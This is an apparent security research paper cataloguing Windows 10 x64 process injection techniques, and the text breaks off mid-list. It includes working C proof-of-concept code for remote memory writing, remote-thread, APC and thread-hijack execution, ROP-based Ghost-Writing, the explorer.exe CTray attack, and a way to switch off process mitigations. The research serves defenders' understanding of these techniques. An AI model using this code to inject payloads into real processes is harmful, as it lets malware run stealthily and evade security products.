
Windows Process Injection in 2019 

Amit Klein, Itzik Kotler 

Safebreach Labs 

 

Introduction 

Process injection in Windows appears to be a well-researched topic, with many techniques now known 

and implemented to inject from one process to the other. Process injection is used by malware to gain 

more stealth (e.g. run malicious logic in a legitimate process) and to bypass security products (e.g. AV, 

DLP and personal firewall solutions) by injecting code that performs sensitive operations (e.g. network 

access) to a process which is privileged to do so. 

In late 2018, we decided to take a closer look at process injection in Windows. Part of our research 

effort was to understand the landscape, with a focus on present-day platforms (Windows 10 x64 1803+, 

64-bit processes), and there we came across several problems: 

• We could not find a single location with a full list of all injection techniques. There are some 

texts that review multiple injection techniques (hat tip to Ashkan Hosseini, EndGame for a nice 

collection https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-

technical-survey-common-and-trending-process and to Csaba Fitzl AKA “TheEvilBit” for some 

implementations https://github.com/theevilbit/injection), but they’re all very far from capturing 

all (or almost all) techniques.  

• The texts that describe injection techniques typically lump together “true injection techniques” 

(the object of this paper) with other related topics, such as process hollowing and stealthy 

process spawning. In this paper, we’re interested only in injection from one 64-bit process 

(medium integrity) to another, already running 64-bit process (medium integrity). 

• The texts often try to present a complete injection process, therefore mixing writing and 

execution techniques, when only one of them is novel. 

• Many texts target 32-bit processes, and it was not clear whether they apply to 64-bit processes.  

• Many texts target pre-Windows 10 platforms, and it is not clear whether they apply to Windows 

10, with its implementation changes and with its new security features. 

• Some attacks require privilege elevation, and as such are not interesting.  

• The texts that describe process injection lack analysis – discussion of requirements and 

limitations, impact of Windows 10 security features, etc. 

• The texts usually provide a PoC, but it’s “too well written” – meaning, the PoC checks for return 

code, handles errors, handles 32-bit and 64-bit processes, edge conditions, etc. Also, the PoC 

implements an end-to-end injection (not just the novel write/execute technique). As such, the 

PoC becomes pretty big and difficult to follow.  

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://github.com/theevilbit/injection


In this paper, we address all the above issues. We provide the first comprehensive catalogue of true 

process injection techniques in Windows. We categorize the individual techniques into write primitives 

and execution methods. We test the techniques against 64-bit processes (medium integrity) running on 

Windows 10 x64. We test them with and without process protection techniques (CFG, CIG), we analyze 

each technique and explain its requirements and limitations. Finally, we provide stripped down, 

minimalistic PoC code that works, and at the same time is short enough to clearly show the technique at 

hand.  

We tried to be as comprehensive as possible, i.e. really cover all different techniques. But of course, this 

is a live document, as new techniques will surely be discovered, and as we probably missed a few. We 

also tried to give credit to the original inventor of the technique, if we could find one. Again, this is 

probably imperfect, and readers are encouraged to send us corrections. 

Finally, we get back to our original goal, and describe a new injection technique that inherently bypasses 

CFG. 

 

Windows Process injection in 2019 

Classes of Injection Techniques 

We classify injection techniques as follows: 

1. Process spawning – these methods create a process instance of a legitimate executable binary, 

and typically modify it before the process starts running. Process spawning is very “noisy” and as 

such these techniques are suspicious, and not stealthy. 

2. Injecting during process initialization – these methods cause processes that are beginning to 

run, to load their code (e.g. AppInit DLLs). Typically these techniques require UAC elevation (due 

to writing to privileged registry keys and/or privileged folders). Additionally, such methods are 

typically mitigated by the Extension Point Disable Policy. 

3. Injecting into running processes (“true process injection”) – these are the most interesting 

techniques, which are the focus of this paper. 

Injecting into running processes typically involves two sub-techniques: preparing memory in the target 

process (which contains the payload – the logic to be run, either as native code, or as ROP chain stack), 

and executing logic in the target process. 

 

The present time landscape: Windows 10 64-bit (x64), and new security features 

In recent years, Windows 10 (and the x64 hardware platform) gained a lot of popularity. This change of 

landscape has a great impact on process injection techniques: 

- x64 (vs. x86): In Windows x86, all calling conventions except fastcall place all arguments on the 

stack. In x64, the calling convention places the first 4 arguments in registers (RCX, RDX, R8 and 

R9), and the remaining arguments on stack. This makes it harder to design a payload for x64, 

since such payload must control several registers in order to invoke a function. In x86, a payload 



just needs to correctly arrange the stack in order for a function invocation to succeed. 

Theoretically this could have been elegantly handled by the single byte instruction POPA 

(opcode 0x61), which pops all data registers from stack, however this instruction is simply not 

available in x64 mode.  

- New security features: Windows 10 introduced several new process exploitation mitigation 

features, which can be controlled via the SetProcessMitigationPolicy API (from the target 

process). These are: 

o CFG (Control Flow Guard): this is Microsoft’s implementation of the CFI (Control Flow 

Integrity) concept for Windows (8.1, 10). The compiler precedes each indirect CALL/JMP 

(CALL/JMP reg) with a call to _guard_check_icall to check the validity of the call target. 

Validity is also provided by the compiler as a list of 16-byte aligned valid targets per 

module (loaded to memory as a “bitmap” for fast access). Both caller module and callee 

module must support CFG in order for it to be in effect. 

o Dynamic Code prevention: this feature prevents the calling process from calling 

VirtualAlloc with PAGE_EXECUTE_*, MapViewOfFile with FILE_MAP_EXECUTE option, 

VirtualProtect with PAGE_EXECUTE_* etc. and reconfiguring the CFG bitmap via 

SetProcessValidCallTargets (from 

https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-

507986edafce/the_joy_of_sandbox_mitigations_export.pdf). Note that for e.g. 

VirtualProtectEx, the policy enforced is the policy of the caller process. 

o Binary Signature Policy (CIG – Code Integrity Guard): only allow modules signed by 

Microsoft/Microsoft Store/WHQL to be loaded into the process memory. A weaker 

control is Image Load Policy, which can prevent loading modules from remote locations 

or files with low integrity label; This is enforced at the calling process. 

o Extension Point Disable Policy: disable “extensions” that load DLLs into the process 

space – AppInilt DLLs, Winsock LSP, Global Windows Hooks, IMEs (from 

https://theryuu.github.io/ifeo-mitigationoptions.txt).  

It should be noted that explorer.exe, the classic injection target, as well as several other native 

Windows processes/applications (e.g. Edge’s broker processes) are protected with CFG, and the 

Edge broker processes are protected almost to the maximum possible level with the above 

techniques. 

 

Defining our scope 

Per the above, our interest is in true process injection techniques for Windows 10 x64. Specifically: 

• Windows 10 x64 at recent build (1803/1809/1903) 

• All processes (injector/malware, target) are 64-bit 

• All processes are medium integrity 

• Target process is already running (i.e. “true process injection” is needed) 

• No privilege elevation required (this rules out AppInit_Dlls, AppCertDlls and shims, as the former 

two require writing to privileged registry keys - HKLM\Software\Microsoft and HKLM\System 

respectively, and the latter one requires UAC to run sbdinst.exe). Same for AddPrintProcessor, 

https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-507986edafce/the_joy_of_sandbox_mitigations_export.pdf
https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-507986edafce/the_joy_of_sandbox_mitigations_export.pdf
https://theryuu.github.io/ifeo-mitigationoptions.txt


AddPrinterDriver and AddMonitor, all of which require the DLL to reside under 

C:\Windows\System32. 

• Evaluation is done against fully protected process (CFG, CIG, etc.) or vanilla process (where 

applicable) 

 

 

Evaluating Process injection techniques  

 

Bypassing Windows protection mechanisms 

Microsoft provides a standard API (SetProcessValidCallTargets) for “whitelisting” (from CFG perspective) 

an arbitrary address in the target process. Tal Liberman from EnSilo described its internal 

implementation as a call to ntdll!NtSetInformationVirtualMemory with VmInformationClass= 

VmCfgCallTargetInformation (https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-

exceptions).  

 HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE, 
process_id); 
 MEMORY_BASIC_INFORMATION meminfo; 
 VirtualQueryEx(p, target, &meminfo, sizeof(meminfo)); 
 CFG_CALL_TARGET_INFO cfg; 
 cfg.Offset = ((DWORD64)target) - (DWORD64)meminfo.AllocationBase; 
 cfg.Flags = CFG_CALL_TARGET_VALID; 
 SetProcessValidCallTargets(p, meminfo.AllocationBase, meminfo.RegionSize, 1, 
&cfg); 

 

We found a simple way to deactivate all other Windows protections (specifically CFG cannot be 

deactivated in this manner) for Windows 10 version 1803. Microsoft provides a standard API 

(SetProcessMitigationPolicy) for turning on/off these features in the process itself. This function needs 

to be run from the target process and provided with 3 arguments – for example, 

ProcessDynamicCodePolicy, a pointer to an array of 

sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY) zeros, and the size of the said array – which is 

sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY). Finding an array of zeros is trivial, e.g. the load 

image address of ntdll.dll + 0x20. Running a target function with 3 arguments is possible via invoking 

ntdll!NtQueueApcThread. 

 HANDLE th=OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); 
 ntdll!NtQueueApcThread(th, SetProcessMitigationPolicy, 
(void*)ProcessDynamicCodePolicy, ((char*)GetModuleHandleA("ntdll")) + 0x20, 
sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY)); 

 

NOTE: this technique stopped working at Windows 10 version 1809 – once protection is set (by 

SetProcessMitigationPolicy), it cannot be unset – SetProcessMitigationPolicy returns status 

ERROR_ACCESS_DENIED. 

https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-exceptions
https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-exceptions


Given that CFG can be turned off by the injecting process, why do we need to analyze for CFG? We 

anticipate that the mere action of disabling (or attempt to) of a security feature by a process may be 

monitored and possibly even prevented by security products. As such, in the future, injecting processes 

may prefer to stay away from this exact functionality. Also, at some point in the future, Microsoft may 

disable or restrict CFG manipulation (just like they did with SetProcessMitigationPolicy). 

 

Steps in true process injection 

Typically, process injection follows these 3 steps: 

• Memory allocation 

• Memory writing (using a memory write primitive) 

• Execution 

Sometimes the allocation and memory writing are technically carried out in the same step, using the 

same API. Sometimes the memory allocation step is implicit, i.e. the memory is pre-allocated. 

Sometimes it is impossible to separate memory writing from execution.  

Oftentimes, memory allocation and writing is done multiple times before the execution step. 

 

Evaluation Criteria 

We evaluate memory write primitives based on: 

• Prerequisites 

• Limitations 

• CFG/CIG-readiness 

• Controlled vs. uncontrolled write address 

• Stability 

 

We evaluated execution methods based on: 

• Prerequisites 

• Limitations 

• CFG/CIG-readiness 

• Control over registers 

• Cleanup required 

 

A note about memory allocation 

In general, memory writing primitives require the target memory to be allocated. This can happen in 

two ways:  



1. The injector process can invoke VirtualAllocEx (or NtAllocateVirtualMemory) to allocate new 

memory in the target process. In such a case, the injector can request this memory to be 

readable and/or writable and/or executable. Note that “the default behavior for executable 

pages allocated is to be marked valid call targets for CFG” (https://docs.microsoft.com/en-

us/windows/desktop/Memory/memory-protection-constants). 

2. The injector process can designate an existing (allocated) memory within the target process, for 

overwriting. There are several options:  

a. Stack – either the stack in use, or area beyond the TOS. The stack is RW. Writing to the 

stack requires addressing several considerations: (i) when writing beyond TOS, it should 

be kept in mind that this area may be overwritten by subsequent calls to inner functions 

or system functions; (ii) when writing before TOS, it should be kept in mind that this 

overwrites existing stack used  

b. Image – the data sections of some DLLs contain “spare” allocation beyond the actual 

need of the static variables mapped to there. This “cave” is RW, and initialized with 

zeros. 

c. Heap – any data object allocated on the heap, whose address is known to the injector 

process, can be theoretically used (though the memory area may be modified/recycled 

as the object is manipulated or destroyed). Again – RW. 

VirtualProtectEx can be used to assign different privileges (e.g. execution) to a memory region. 

Note that “the default behavior for VirtualProtect [and VirtualProtectEx] protection change to 

executable is to mark all locations as valid call targets for CFG” 

(https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants).  

A notable exception is ntdll!NtMapViewOfSection which can be invoked in such way that it allocates 

memory for the section in the target process. 

 

A survey and Analysis of injection techniques 

Notation: 

• Standard Microsoft Visual Studio coloring scheme 

• Bold+italics – user parameters. Specifically: 

o payload – an array of bytes in the injecting process, with the data to copy to the target 

process 

o sizeof(payload) – the size (in bytes) of the payload array 

o target_payload – the address, in the injected process, into which the payload is injected 

o target_execution – the address, in the injected process, into which control should be 

transferred (can be target_payload if it is executable, or a ROP gadget e.g. stack pivot, 

pointing RSP to target_payload) 

o process_id / thread_id – the target process ID / thread ID to inject to 

• Bold (ntdll!NtXXX or ntdll!ZwXXX) – dynamically linked functions (NtXXX/ZwXXX), a shorthand 

for fptr=GetProcAddress(GetModuleHandleA(“ntdll”)),function_name); (*fptr)(arguments); 

• Yellow background – cleanup code 

 

https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants
https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants
https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants


The techniques (in chronological order, where known): 

 

1. Classic WriteProcessMemory write primitive (prehistoric) 

a. Make sure the target address is allocated (e.g. with VirtualAllocEx) 

b. Write data or raw code to memory using WriteProcessMemory 

Code: 

HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, 
process_id); 
 LPVOID target_payload=VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT | 
MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Or any other memory allocation technique 

WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); 

 

Evaluation: 

o Prerequisites: none 

o Limitations: none 

o CFG/CIG-readiness: not affected 

o Controlled vs. uncontrolled write address: address is fully controlled 

o Stability: stable 

 

2. Classic DLL injection execution method (prehistoric) 

a. Write a malicious 64-bit DLL to disk, DllMain should contain a bootstrap payload (not 

shown). 

b. Write memory (DLL path string) using any write primitive, e.g. 

VirtualAllocEx(…,PAGE_READWRITE)+WriteProcessMemory (not shown) 

c. Load (and execute) the DLL using 

CreateRemoteThread(…,LoadLibraryA,DLL_path_string)  (internal functions 

NtCreateThreadEx and RtlCreateUserThread can also be used) 

Variant 1: use QueueUserAPC instead of CreateRemoteThread (thread must be in alertable 

state) 

Variant 2: Instead of writing the DLL path to the target process memory, find a NUL-terminated 

string that looks like a valid path in one of the system DLLs, write the DLL to a file in that name, 

and point the LoadLibrary argument to the string. For example, ntdll.dll contains the NUL-

terminated string “\ntdll\ldrsnap.c”, thus placing the DLL in file C:\ntdll\ldrsnap.c (assuming 

standard installation of Windows to drive C:) should do the trick. 

 

Code: 

HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); 
 CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, 
target_DLL_path, 0, NULL); 

 

Evaluation: 



o Prerequisites: malicious DLL written to disk, memory write primitive, thread in alertable 

state (only when using APC) 

o Limitations: DllMain code runs in with loader-lock locked, hence some restrictions apply 

(https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best-

practices) 

o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do 

so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image 

%hs cannot be found in the system catalogs. The image is likely corrupt or the victim of 

tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx)  

o Control over registers: none (but typically not a problem due to linking) 

o Cleanup required: none 

 

3. CreateRemoteThread execution method (prehistoric) 

a. Write raw code to memory using any write primitive. 

b. Execute the code using CreateRemoteThread (requires CFG-valid target) 

Code: 

HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id); 

CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, 
NULL); 

 

Evaluation: 

o Prerequisites: target address must be RX at minimum. 

o Limitations: none 

o CFG/CIG-readiness: target entry point must be CFG-valid. 

o Control over registers: RCX 

o Cleanup required: none 

 

4. APC execution method (prehistoric) 

Thread must be in alertable state (https://docs.microsoft.com/en-

us/windows/desktop/fileio/alertable-i-o), i.e. in one of 5 functions: SleepEx, 

WaitForSingleObjectEx, WaitForMultipleObjectsEx, SignalObjectAndWait, 

MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx). 

a. Write raw code to memory using any write primitive. 

b. Execute the code using QueueUserAPC/NtQueueApcThread (requires CFG-allowed 

target) 

Code: 

HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); 
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX); 

or 

https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best-practices
https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best-practices
https://msdn.microsoft.com/en-us/library/cc704588.aspx
https://docs.microsoft.com/en-us/windows/desktop/fileio/alertable-i-o
https://docs.microsoft.com/en-us/windows/desktop/fileio/alertable-i-o


ntdll!NtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8); 

Evaluation: 

o Prerequisites: Target address must be RX (at least). Thread must be in alertable state 

o Limitations: none 

o CFG/CIG-readiness: target entry point must be CFG-valid. 

o Control over registers: RCX (also RDX and R8 if using NtQueueApcThread) 

o Cleanup required: none. 

 

5. Thread Execution Hijacking “Suspend-Inject-Resume” execution method (prehistoric?) 

a. Write code/data to memory using any write primitive e.g. 

VirtualAllocEx(…,PAGE_EXECUTE_READWRITE)+WriteProcessMemory (not shown). 

b. Execute the code using SetThreadContext (the thread needs to be suspended and 

resumed) – set RIP to point at the code written in step (a) or to a ROP gadget, and 

maybe RSP to point at a new stack. 

Variant: use NtQueueApcThread(thread,SetThreadContext,-2 /* GetCurrentThread pseudo 

handle */,context,NULL) instead of SetThreadContext (thread must be in alertable state) 

 

Code for executable memory: 

 HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); 
 SuspendThread(t); 
 CONTEXT ctx; 
 ctx.ContextFlags = CONTEXT_CONTROL; 
 ctx.Rip = (DWORD64)target_execution; 

SetThreadContext(t, &ctx); 
 ResumeThread(t); 

 

Evaluation: 

o Prerequisites: execution target must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: RSP (if set) must be within stack limits (this is enforced by 

SetThreadContext) 

o Control over registers: see “SetThreadContext anomaly” 

o Cleanup required: yes; the original thread needs to resume execution and for that, its 

registers and stack must be restored. 

 

The SetThreadContext anomaly: for some processes, the volatile registers (RAX, RCX, RDX, R8-

R11) are set by SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored. 

Best not rely on SetThreadContext to set those registers. Open research question: why does 

SetThreadContext behave differently for some processes? 

Since there’s no CFG check for SetThreadContext, we can also use ROP gadgets with a non-

executable arbitrary memory (stack). We use a “beyond the TOS” memory cell to store the new 

stack address (so as not to modify the original stack).  



 

Code for non-executable memory (ROP-chain): 

 HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); 
 SuspendThread(t); 
 CONTEXT ctx; 
 ctx.Rip = GADGET_pivot; // pop rsp; ret 
 ctx.Rsp -= 8; 
 WriteProcessMemory(p, (LPVOID)ctx.Rsp, &new_stack_address, 8, NULL); // Or any 
other memory write technique  

//make sure stack is 16-byte aligned before the return address; make sure there’s 
enough space *below* the entry point for stack used by system calls, etc. 

 
SetThreadContext(t, &ctx); 

 ResumeThread(t); 

 
Code for non-executable memory (ROP-chain), with cleanup: 

 void wait_until_done(HANDLE t, DWORD64 expected_rip_value) 
{ 
 CONTEXT x; 
 do 
 { 
  Sleep(10); 
  SuspendThread(t); 
  x.ContextFlags = CONTEXT_CONTROL; 
  GetThreadContext(t, &x); 
  ResumeThread(t); 
 } while (x.Rip != expected_rip_value); 
} 

 
DWORD64 GADGET_loop; // jmp -2 

 DWORD64 GADGET_pivot; // pop rsp; ret 
HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); 

 // Save the thread's state 
 SuspendThread(t); 
 CONTEXT old_ctx; 
 old_ctx.ContextFlags = CONTEXT_ALL; 
 GetThreadContext(t, &old_ctx); 
 
 // Hijack thread 
 CONTEXT new_ctx = old_ctx; 
 new_ctx.Rip = GADGET_pivot; 
 new_ctx.Rsp -= 8; 
 WriteProcessMemory(p, (LPVOID)new_ctx.Rsp, &new_stack_address, 8, NULL); 
 SetThreadContext(t, &new_ctx); 
 ResumeThread(t); 
 wait_until_done(t, GADGET_loop); 
 
 // Resume execution of original thread logic 
 SuspendThread(t); 
 SetThreadContext(t, &old_ctx); 
 ResumeThread(t); 

 

6. Windows Hook write primitive + execution method (prehistoric) 



a. Write a malicious DLL to disk, DllMain (or hook routine) should contain a bootstrap code 

(payload) 

b. Call SetWindowsHookEx(…,handle to DLL, thread_id) – this will load the DLL into the 

process (thread_id must be a message loop). A less elegant version: set thread_id=0, will 

inject to all processes with message loop.  

 

Code: 

 HMODULE h = LoadLibraryA(dll_path); 
 HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook 
 SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id); 
 PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook 
 

 Evaluation: 

o Prerequisites: malicious DLL written to disk, target process must have user32.dll loaded 

(and a message loop thread) 

o Limitations: none 

o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do 

so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image 

%hs cannot be found in the system catalogs. The image is likely corrupt or the victim of 

tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx)  

o Control over registers: none (but typically not a problem due to linking) 

o Controlled vs. uncontrolled write address: N/A 

o Stability: good 

o Cleanup required: no 

 

7. SetWinEventHook write primitive + execution method (prehistoric) 

The idea is to set up a global (or per-process) in-context hook using SetWinEventHook. 

Theoretically, this forces the target process to load the specified DLL and invoke the specified 

hook function for the specified range of Windows events. However, in our tests (with Windows 

10 version 1903), we could not force the DLL to load at the target process, and all events were 

handled in out-of-context fashion. The documentation (https://docs.microsoft.com/en-

us/windows/desktop/api/Winuser/nf-winuser-setwineventhook) does mention that “in some 

situations, even if you request WINEVENT_INCONTEXT events, the events will still be delivered 

out-of-context“, so perhaps Microsoft moved all events to our-of-context mode in recent 

Windows versions. 

Bottom line: doesn’t work with recent Windows 10 versions. 

 

8. Ghost-Writing write primitive + execution method (2007) 

Invented by “txipi” (http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-

process-without-openning-it-nor-actually-writing-to-it/) 

a. Use a series of SetThreadContext calls to manipulate memory (using a simple gadget 

that writes one register to the address in another register), and then use that as a ROP 

chain.  

b. Final step of ROP chain should be restoring the volatile registers. 

https://msdn.microsoft.com/en-us/library/cc704588.aspx
https://docs.microsoft.com/en-us/windows/desktop/api/Winuser/nf-winuser-setwineventhook
https://docs.microsoft.com/en-us/windows/desktop/api/Winuser/nf-winuser-setwineventhook
http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/
http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/


 

Code: 

 void wait_until_done(HANDLE t, DWORD64 expected_rip_value) 
{ 
 CONTEXT x; 
 do 
 { 
  Sleep(10); 
  SuspendThread(t); 
  x.ContextFlags = CONTEXT_CONTROL; 
  GetThreadContext(t, &x); 
  ResumeThread(t); 
 }  
 while (x.Rip != expected_rip_value); 
} 

 
DWORD64 GADGET_loop; // jmp -2 

 DWORD64 GADGET_write; // mov [rdi],rbx; mov rbx, [rsp+0x60]; add rsp,0x50; pop 
rdi; ret --- this is WRITE rbx at address rdi (and advance Rsp by 0x58…); note that in 
Windows 10 version 1903, the gadget is changed to mov [rdi],rbx; mov rbx, [rsp+0x70]; 
add rsp,0x60; pop rdi; ret 

 
 HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id); 
 
 // Save target thread original state 
 SuspendThread(t); 
 CONTEXT old_ctx; 
 old_ctx.ContextFlags = CONTEXT_ALL; 
 GetThreadContext(t, &old_ctx); 
 
 // Prepare new stack in ROP_chain 
 
 DWORD64 new_stack_pos = ((old_ctx.Rsp - (sizeof(ROP_chain)+0x60) +8) & 
0xFFFFFFFFFFFFFFF0) - 8 ; // make sure stack is 16-byte aligned before the return 
address. Use 0x70 in version 1903. 
 
 // Write address of GADGET_loop to the target thread stack (used as part of the 
Write Primitive) 
 CONTEXT new_ctx = old_ctx; 
 new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903 
 new_ctx.Rbx = GADGET_loop; 
 new_ctx.Rdi = new_ctx.Rsp+0x58;  // use 0x68 in version 1903 
 new_ctx.Rip = GADGET_write; 
 SetThreadContext(t, &new_ctx); 
 ResumeThread(t); 
 wait_until_done(t, GADGET_loop); 
  
 // Write new stack to target process memory space 
 for (int i = 0; i < sizeof(ROP_chain)/sizeof(DWORD64); i++) 
 { 
  SuspendThread(t); 
  CONTEXT old_ctx; 
  old_ctx.ContextFlags = CONTEXT_ALL; 
  GetThreadContext(t, &old_ctx); 
  CONTEXT new_ctx = old_ctx; 
  new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903 



  new_ctx.Rbx = ROP_chain[i]; 
  new_ctx.Rdi = new_stack_pos + sizeof(DWORD64)*i; 
  new_ctx.Rip = GADGET_write; 
  SetThreadContext(t, &new_ctx); 
  ResumeThread(t); 
  wait_until_done(t, GADGET_loop); 
 } 
 
 // Execute code in target thread, moving RSP to new_stack_pos 
 new_ctx = old_ctx; 
 new_ctx.Rsp = new_stack_pos; 
 new_ctx.Rip = (DWORD64)execution_target; 
 SetThreadContext(t, &new_ctx); 
 ResumeThread(t); 
 wait_until_done(t, GADGET_loop); 
 
 // Resume original flow in target thread 
 SuspendThread(t); 
 SetThreadContext(t, &old_ctx); 
 ResumeThread(t); 

 

 Evaluation: 

o Prerequisites: Target address must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: N/A 

o Control over registers: non-volatile registers (e.g. RBX). See the SetThreadContext 

anomaly above. 

o Controlled vs. uncontrolled write address: write address is fully controlled 

o Stability: unclear – the cleanup process seems to be tricky 

o Cleanup required: yes, this can be tricky if the suspended flow uses volatile registers, 

and SetThreadContext does not set them for the target process 

 

9. SetWindowLong/SetWindowLongPtr execution method (2009?) 

According to Odzhan (https://modexp.wordpress.com/2018/08/26/process-injection-ctray/), 

this technique surfaced in 2009, probably invented by “Indy(Clerk)”. 

Encountered in the wild (Gapz, 2012: https://www.welivesecurity.com/wp-

content/uploads/2013/05/CARO_2013.pdf) 

This version is Explorer-specific, but possibly there are other processes that can be targeted in a 

similar fashion.  

a. Write payload to the target memory using any write primitive, e.g. 

VirtualAllocEx+WriteProcessMemory. This code/gadget should be CFG-valid. Not shown 

in the PoC code. 

b. Write a CTray object to the target memory using any write primitive e.g. 

WriteProcessMemory. The object should contain ptr1 pointing to ptr2 pointing to the 

payload.  

c. Obtain a handle to a window of class Shell_TrayWnd (of Explorer.exe), 

d. SetWindowLongPtr(handle,0,ptr to object). 

https://modexp.wordpress.com/2018/08/26/process-injection-ctray/
https://www.welivesecurity.com/wp-content/uploads/2013/05/CARO_2013.pdf
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e. Run SendNotifyMessageA(handle, WM_PAINT, 0, 0) to trigger the window extension. 

Code (tailored for Explorer.exe): 

 HWND hWindow = FindWindowA("Shell_TrayWnd", NULL); 
 DWORD process_id; 
 GetWindowThreadProcessId(hWindow, &process_id); 
 // Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other 
memory writing techniques are welcome 
 HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, 
process_id); 
 DWORD64 obj[2]; 
 LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(obj), MEM_COMMIT | MEM_RESERVE, 
PAGE_READWRITE); 
 obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(obj[1]) 
 obj[1] = (DWORD64)target_execution;  
 WriteProcessMemory(h, target_obj, obj, sizeof(obj), NULL); 
 SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj); 

 
Evaluation: 

o Prerequisites: A window belonging to the target process, that uses the extra window 

bytes to store a pointer to an object with a virtual function table. Specifically, explorer’s 

Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray 

object. Target address must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: the execution target must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original CTray object must be restored, and special 

consideration must be given for the return state from the function 

Cleanup: save the original CTray object address via GetWindowLongPtr(), restore it into RBX in 

the payload, set EAX to 2 and return. Also, restore the original pointer (to the original CTray 

object). 

Full code (with cleanup and payload write), tailored for Explorer.exe: 

 HWND hWindow = FindWindowA("Shell_TrayWnd", NULL); 
 DWORD process_id; 
 GetWindowThreadProcessId(hWindow, &process_id); 
 DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0); 
 HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, 
process_id); 
 // Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other 
memory writing techniques are welcome 
 LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT | 
MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
 WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); // Make 
sure payload sets eax=2 and rbx=old_obj before returning control. Also take care of stack 
alignment if calling other functions 
 DWORD64 new_obj[2]; 
 LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT | 
MEM_RESERVE, PAGE_READWRITE); 
 new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1]) 



 new_obj[1] = (DWORD64)target_payload; 
 WriteProcessMemory(h, target_obj, obj, sizeof(new_obj), NULL); 
 SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj); 
 SendNotifyMessageA(hWindow, WM_PAINT, 0, 0); 
 Sleep(1); 
 SetWindowLongPtrA(hWindow, 0, old_obj); 

 

10. Shared Memory (PowerLoader) write primitive (2013) 

Encountered in the wild (PowerLoader). 

a. Find a shared memory section in the target process and its size – ideally a fixed name, so 

there won’t be any need to find it in real time. For example, explorer.exe has a shared 

section called UrlZonesSM_User (size 4KB).  

b. Write the payload (ROP chain, etc.) to the shared section, ideally at its end (less likely to 

interfere with the usual shared memory functionality). 

c. Find the address of the data in the target process by reading its memory using any read 

